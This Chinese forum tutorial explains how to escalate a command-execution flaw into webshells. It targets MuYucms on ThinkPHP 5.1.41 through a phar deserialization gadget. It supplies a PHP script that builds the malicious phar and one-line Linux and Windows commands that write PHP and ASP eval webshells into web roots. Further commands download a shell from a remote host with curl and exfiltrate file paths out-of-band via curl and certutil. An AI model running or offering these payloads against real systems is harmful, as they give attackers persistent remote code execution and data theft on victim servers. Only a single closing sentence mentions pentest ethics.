深入剖析 | 利用命令执行漏洞生成 WebShell 攻击路径

前言: 在网络安全测试中,命令执行漏洞是常见且危险的漏洞类型之一。通常,我们会通过简单的命令执行来验证漏洞的存在,但在实际渗透测试中,我们可能需要更进一步,例如生成 WebShell 或上线渗透工具。本文将深入探讨命令执行漏洞的进一步利用方法,帮助您实现文件落地、上线哥斯拉、CS、MSF 等后渗透利用工具。

环境配置

我们将使用一个基于 ThinkPHP 5.1.41 LTS 的内容管理系统 MuYucms 作为测试环境。此漏洞的利用基于 ThinkPHP 5.1.41 LTS 中的 phar 反序列化漏洞,通常需要程序中存在类似于 is_dirfile_exist 等判断文件存在的函数,以便进行利用。

图片[1]-深入剖析 | 利用命令执行漏洞生成 WebShell 攻击路径-山海云端论坛
<code>// 漏洞利用 payload 示例 <?php namespace think\process\pipes { class Windows { private $files; public function __construct($files) { $this->files = array($files); } } } // 其他相关类与 trait // 构造命令执行 payload $conver = new think\model\Pivot(); $a = new think\process\pipes\Windows($conver); // 构造 Phar 文件 $phar = new Phar('x.phar'); $phar->stopBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->addFromString('test.txt','test'); $phar->setMetadata($a); $phar->stopBuffering(); ?></code>

Linux 环境下的利用

1. 目标出网,存在回显

如果目标系统出网且存在命令回显,我们可以使用以下方式进行 WebShell 写入:

  • 常规写入 Shell 文件:
<code>echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php</code>
图片[2]-深入剖析 | 利用命令执行漏洞生成 WebShell 攻击路径-山海云端论坛
  • 远程下载脚本文件(支持出网):
<code>curl http://192.168.157.130/shell.txt > /var/www/html/shell.php</code>
图片[3]-深入剖析 | 利用命令执行漏洞生成 WebShell 攻击路径-山海云端论坛

2. 目标出网,命令无回显

如果目标系统出网但命令无回显,我们可以尝试带外执行或保存结果后访问的方式:

  • 带外执行方式:
<code>curl http://192.168.157.130:8000/`find / | grep 18dfd20b.jpg`</code>

3. 目标不出网,命令无回显

如果目标系统不出网且命令无回显,我们可以通过遍历文件目录、保存路径后再访问的方式:

<code>find / -name 18dfd20b.jpg | while read f; do echo "$f" > "$(dirname "$f")/path.txt"; done</code>

Windows 环境下的利用

1. 目标出网,存在回显

对于目标系统出网且存在回显的情况,我们可以使用以下方式进行 WebShell 写入:

<code>echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp</code>

2. 目标出网,命令无回显

如果目标系统出网但无回显,我们可以通过带外执行或保存结果后访问的方式:

<code>for /r C:\ %i in (18dfd20b.jpg*) do certutil -urlcache -split -f http://192.168.157.130:8000/%i</code>

3. 目标不出网,命令无回显

对于目标系统不出网且无回显的情况,我们可以通过遍历文件目录、保存路径后再访问的方式:

<code>for /r C:\ %i in (18dfd20b.jpg*) do echo %i> %i\..\path.txt</code>

复现与总结

通过以上方法,我们可以根据具体情况选择合适的方式生成 WebShell。需要注意的是,在利用命令执行漏洞时,要遵循渗透测试的道德规范,并且对目标系统的漏洞利用风险有充分的评估与掌控。

参考资料

  • https://developer.aliyun.com/article/1340944
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容